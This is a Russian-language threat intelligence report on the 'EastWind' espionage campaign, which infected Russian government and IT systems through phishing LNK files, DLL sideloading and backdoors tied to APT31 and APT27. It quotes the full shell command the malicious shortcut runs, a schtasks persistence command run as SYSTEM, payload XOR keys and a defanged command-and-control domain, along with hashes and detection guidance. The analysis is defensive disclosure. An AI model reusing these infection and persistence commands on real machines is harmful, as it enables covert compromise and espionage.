В конце июля 2024 года мы выявили активную серию целевых кибератак на десятки компьютеров российских государственных организаций и IT-компаний. В ходе этих атак злоумышленники заражали устройства при помощи фишинговых писем с вложениями, содержащими вредоносные файлы ярлыков. При нажатии на ярлыки происходила установка вредоносного ПО, которое в дальнейшем получало команды через облачное хранилище Dropbox. С помощью этого ПО злоумышленники загружали на зараженные компьютеры дополнительных троянцев, в частности инструменты, используемые кибергруппировкой APT31, а также обновленный бэкдор CloudSorcerer. Мы назвали эту кампанию EastWind.
Ниже приводим наиболее интересные факты об имплантах, использованных в ходе этой кампании:
- Троянская программа, загружаемая злоумышленниками из облачного хранилища Dropbox, использовалась группировкой APT31 как минимум с 2021 года. Мы назвали ее GrewApacha.
- Бэкдор CloudSorcerer, который мы описали в начале июля 2024 года, был обновлен после нашей публикации. Теперь в нем в качестве первоначального командного сервера используются профили в блоге «Живой Журнал» и на сайте вопросов и ответов Quora.
- В атаках используется ранее неизвестный имплант c функциональностью классического бэкдора, который мы назвали PlugY. Он загружается через бэкдор CloudSorcerer, обладает обширным набором команд и поддерживает три различных протокола общения с командным центром. Кроме того, его код схож с кодом бэкдора DRBControl (также известен как Clambling), который несколько ИБ-компаний приписывают группировке APT27.
Техническая информация
Как мы уже упомянули, атакующие использовали целевой фишинг для первоначального заражения. Злоумышленники отправляли на электронные адреса, принадлежащие затронутым организациям, вредоносные письма с RAR-архивами во вложении. Архивы имели следующие названия:
- инициативная группа из Черниговского района Приморского края.rar;
- вх.rar.
Они содержали следующие файлы:
- Папку .con, в которой хранились:
- Легитимный документ-приманка 1.docx
- Легитимный файл desktop.exe
- Вредоносный файл VERSION.dll
- Вредоносный ярлык (примеры названий: обращение черниговский район.docx.lnk, вх. от 10_04_24.docx.lnk)
При нажатии на вредоносный ярлык выполнялась следующая шелл-команда:
1 |
C:\Windows\System32\cmd.exe /c .con\1.docx & echo F | move .con\doc %public%\Downloads\desktop.exe & move .con\docs %public%\Downloads\VERSION.dll & start /b %public%\Downloads\desktop.exe && exit |
Она открывает на компьютере документ, содержащийся в архиве, копирует файлы desktop.exe и VERSION.dll в папку C:\Users\Public\Downloads, а затем запускает файл desktop.exe.
Примечательно то, что аналогичный метод заражения применялся в атаке на одну организацию в США с использованием бэкдора CloudSorcerer — об этом сообщила компания Proofpoint в июле 2024 года:
Содержимое вредоносного архива, использованного при атаке на организацию в США
Библиотека VERSION.dll — бэкдор, использующий Dropbox
Злоумышленники используют классическую технику DLL sideloading: при запуске файла desktop.exe в соответствующий ему процесс загружается вредоносная библиотека VERSION.dll:
MD5 | 1f5c0e926e548de43e0039858de533fc |
SHA1 | 426bbf43f783292743c9965a7631329d77a51b61 |
SHA256 | 668f61df2958f30c6a0f1356463e14069b3435fb4e8417a948b6738f5f340dd9 |
Размер файла | 9,82 МБ |
Эта библиотека представляет собой бэкдор, упакованный при помощи инструмента VMProtect. При запуске он пытается связаться с облачным сервисом Dropbox при помощи жестко закодированного токена аутентификации. Подключившись к облаку, бэкдор считывает команды, которые необходимо исполнить, из содержащегося в хранилище файла <имя компьютера>/a.psd. Всего бэкдор поддерживает пять команд со следующими именами:
- DIR
- EXEC
- SLEEP
- UPLOAD
- DOWNLOAD
Результаты выполнения этих команд загружаются в облачное хранилище в файл <имя компьютера>/b.psd.
GrewApacha, RAT-троянец группировки APT31 из 2021
Злоумышленники использовали вышеописанный бэкдор, чтобы собирать информацию о зараженных компьютерах и устанавливать на них дополнительное вредоносное ПО. В частности, на одном из компьютеров мы наблюдали загрузку следующих файлов в директорию C:\ProgramData\USOShared\Logs\User:
- msedgeupdate.exe — легитимный исполняемый файл, подписанный корпорацией Microsoft;
- msedgeupdate.dll — вредоносная библиотека;
- wd — файл с зашифрованной полезной нагрузкой.
Когда злоумышленники запускали файл msedgeupdate.exe, в его процесс методом DLL sideloading загружалась вредоносная библиотека msedgeupdate.dll:
MD5 | f6245f64eaad550fd292cfb1e23f0867 |
SHA1 | fccdc059f92f3e08325208f91d4e6c08ae646a78 |
SHA256 | e2f87428a855ebc0cda614c6b97e5e0d65d9ddcd3708fd869c073943ecdde1c0 |
Размер файла | 9 МБ |
Хотя набор из трех файлов напоминает «троицу», характерную для атак с использованием PlugX, анализ этих файлов показал, что они являются RAT-троянцем группировки APT31, который ранее уже описывали в 2021 и 2023 годах. Мы назвали этот троянец GrewApacha.
Поведение загрузчика (msedgeupdate.dll) спустя год после последней публикации о нем не изменилось. Как и раньше, он расшифровывает хранящуюся на диске полезную нагрузку при помощи XOR-ключа 13 18 4F 29 0F и загружает ее в процесс dllhost.exe.
Сам RAT-троянец также мало отличается от того, что был описан в 2023 году. Однако в его работу злоумышленники внесли небольшие изменения: например, в новой версии используется два сервера управления вместо одного. В качестве начального сервера злоумышленники задействуют биографию профиля в сервисе GitHub — в ней содержится закодированная алгоритмом Base64 строка, которую считывает троянец.
Профиль созданного атакующими пользователя на GitHub
Извлеченную из профиля GitHub строку зловред декодирует, а затем расшифровывает однобайтовым алгоритмом XOR с ключом 0x09, тем самым получая адрес основного сервера управления (для скриншота выше — update.studiokaspersky[.]com).
Новая версия бэкдора CloudSorcerer
Мы также выяснили, что помимо запуска описанного выше троянца GrewApacha злоумышленники загружали на зараженные компьютеры бэкдор CloudSorcerer. Чтобы это сделать, они сначала загружали на устройство и запускали утилиту с именем GetKey.exe, упакованную протектором VMProtect.
MD5 | bed245d61b4928f6d6533900484cafc5 |
SHA1 | e1cf6334610e0afc01e5de689e33190d0c17ccd4 |
SHA256 | 5071022aaa19d243c9d659e78ff149fe0398cf7d9319fd33f718d8e46658e41c |
Размер файла | 51 КБ |
Утилита получает четырехбайтовое число (значение функции GetTickCount() в момент исполнения), шифрует его при помощи функции CryptProtectData, а затем выводит число и его шифротекст. Скриншот кода функции main этой утилиты представлен ниже:
Результаты работы утилиты злоумышленники использовали на своей стороне в качестве уникального ключа для шифрования файла полезной нагрузки, который можно расшифровать только на компьютере жертвы, после чего загружали на зараженные компьютеры следующие файлы:
- Переименованное (пример имени: WinDRMs.exe) легитимное приложение dbgsrv.exe, подписанное корпорацией Microsoft.
- Вредоносная библиотека dbgeng.dll.
- Файл с расширением .ini, содержащий зашифрованную полезную нагрузку. Имя этого файла различалось на разных инфицированных машинах.
Так же как в случае с GrewApacha, описанным выше, этот набор напоминает «троицу», характерную для атак с использованием PlugX.
В большинстве случаев злоумышленники загружали файлы в одну из поддиректорий каталога C:\ProgramData, например C:\ProgramData\Microsoft\DRM. Далее они при помощи планировщика заданий настраивали автозапуск переименованного приложения dbgsrv.exe при загрузке операционной системы. Для этого они использовали утилиту schtasks (пример команды, которая использовалась для ее вызова: schtasks /create /RL HIGHEST /F /tn \Microsoft\Windows\DRM\DRMserver /tr "C:\ProgramData\Microsoft\DRM\WinDRMs.exe -t run" /sc onstart /RU SYSTEM").
При запуске переименованного приложения в его процесс загружалась вредоносная библиотека dbgeng.dll — опять же, при помощи техники DLL sideloading.
MD5 | d0f7745c80baf342cd218cf4f592ea00 |
SHA1 | c0e4dbaffd0b81b5688ae8e58922cdaa97c8de25 |
SHA256 | bd747692ab5db013cd4c4cb8ea9cafa7577c95bf41aa2629a7fea875f6dcbc41 |
Размер файла | 1,11 МБ |
Библиотека, в свою очередь, читала упомянутый выше .ini-файл, который содержит:
- Шифротекст четырехбайтового числа, сгенерированного и зашифрованного утилитой GetKey.exe.
- PE-файл, сжатый алгоритмом LZNT1 и зашифрованный при помощи XOR с использованием четырехбайтового числа в качестве ключа.
Соответственно, в ходе работы библиотека сначала при помощи функции CryptUnprotectData расшифровывала четырехбайтовое число, использовала его для дешифровки файла .ini, а затем загружала расшифрованный файл в память текущего процесса.
Анализ расшифрованных файлов .ini показал, что они представляют собой обновленные версии бэкдора CloudSorcerer. После того как мы публично описали этот бэкдор в начале июля 2024 года, злоумышленники внесли в него изменения: в новой версии CloudSorcerer в качестве первоначального командного сервера используются страницы профилей в русскоязычной социальной сети «Живой Журнал» и на сайте вопросов и ответов Quora:
Как и в случае с прошлыми версиями CloudSorcerer, в биографиях профилей содержится зашифрованный токен аутентификации для взаимодействия с облачным сервисом.
Имплант PlugY, схожий с инструментами группировки APT27
Проанализировав активность, наблюдаемую при исполнении новых образцов бэкдора CloudSorcerer, мы установили, что при помощи него злоумышленники загружали на зараженные компьютеры ранее неизвестный нам имплант. Он соединяется с сервером управления, используя один из трех методов:
- Протокол TCP
- Протокол UDP
- Named pipes
Набор команд, который этот имплант может принимать от сервера, довольно обширен: от работы с файлами и исполнения шелл-команд до наблюдения за действиями на экране и, логирования нажатий клавиатуры и слежения за буфером обмена.
Хотя анализ импланта еще продолжается, можно с высокой степенью уверенности утверждать, что при его разработке использовался код бэкдора DRBControl (также известен как Clambling). Этот бэкдор описали в 2020 году компании Trend Micro и Talent-Jump Technologies. Впоследствии компании Security Joes и Profero связали его с кибергруппировкой APT27. Также прослеживается его сходство с PlugX.
Кроме того, в ходе сравнения образцов импланта PlugY (пример MD5: faf1f7a32e3f7b08017a9150dccf511d) и бэкдора DRBControl (MD5: 67cfecf2d777f3a3ff1a09752f06a7f5) мы установили, что эти два троянца имеют идентичную архитектуру. Помимо этого, многие команды в них реализованы практически одинаково. Это видно из скриншотов ниже:
Код команды, реализующий получение информации о подключенных дисках в бэкдоре DRBControl (слева) и импланте (справа)
Код команды, реализующий получение информации об активном окне в бэкдоре DRBControl (слева) и импланте (справа)
Код команды, реализующий снятие скриншотов экрана в бэкдоре DRBControl (слева) и импланте (справа)
Следовательно, можно с высокой степенью уверенности утверждать, что в ходе разработки импланта использовался код, ранее наблюдаемый в атаках кибергруппировки APT27.
В ходе анализа импланта PlugY мы также заметили, что в нем используется примечательная вредоносная библиотека для соединения с сервером управления при помощи протокола UDP. Эту же библиотеку мы обнаружили в бэкдоре DRBControl, а также в нескольких образцах бэкдора PlugX, популярного среди китаеязычных кибергруппировок. Помимо DRBControl и PlugX, данная библиотека ни в каком другом вредоносном ПО замечена не была.
Скриншот библиотеки, осуществляющей связь с сервером управления по протоколу UDP
Советы по обнаружению следов выявленной атаки
Выявленные в ходе атаки троянцы сильно отличаются друг от друга. Поэтому для обнаружения каждого из них необходимо использовать отдельный набор индикаторов компрометации.
Чтобы выявить работу бэкдора, распространяемого через электронную почту и использующего Dropbox для взаимодействия со злоумышленниками, можно провести поиск сравнительно больших по размеру (более 5 МБ) DLL-файлов, расположенных внутри директории C:\Users\Public. О работе этого бэкдора может также свидетельствовать регулярное обращение к облаку Dropbox в сетевом трафике.
Троянец GrewApacha группировки APT31 может быть обнаружен поиском неподписанного файла с именем msedgeupdate.dll на файловой системе. Размер этого файла также составляет несколько мегабайт.
Имплант PlugY, доставляемый при помощи бэкдора CloudSorcerer, в ходе своей работы запускает процесс с именем msiexec.exe для каждого вошедшего в систему пользователя, а также создает именованные каналы с шаблоном имени \.\PIPE\Y<число>. Присутствие этих двух индикаторов на системе с высокой степенью уверенности свидетельствует о заражении.
Заключение
В ходе атак на государственные организации Российской Федерации злоумышленники часто используют наборы инструментов, в которых реализуются самые разные техники и тактики. Разрабатывая эти инструменты, они прилагают немало усилий для того, чтобы максимально замаскировать вредоносную активность в сетевом трафике. Так, злоумышленники, стоящие за кампанией EastWind, использовали в качестве командных серверов популярные сетевые сервисы — GitHub, Dropbox, Quora, а также российские «Живой Журнал» и «Яндекс.Диск».
Примечательно, что в кампании EastWind было замечено вредоносное ПО двух различных китаеязычных группировок: APT27 и APT31. Этот пример наглядно показывает, что APT-группировки очень часто работают совместно, активно делясь друг с другом знаниями и инструментами для атак. Чтобы успешно противодействовать подобным коллаборациям, мы тщательно отслеживаем техники и тактики различных APT-группировок.
Кампания EastWind: новые атаки CloudSorcerer на госорганизации в России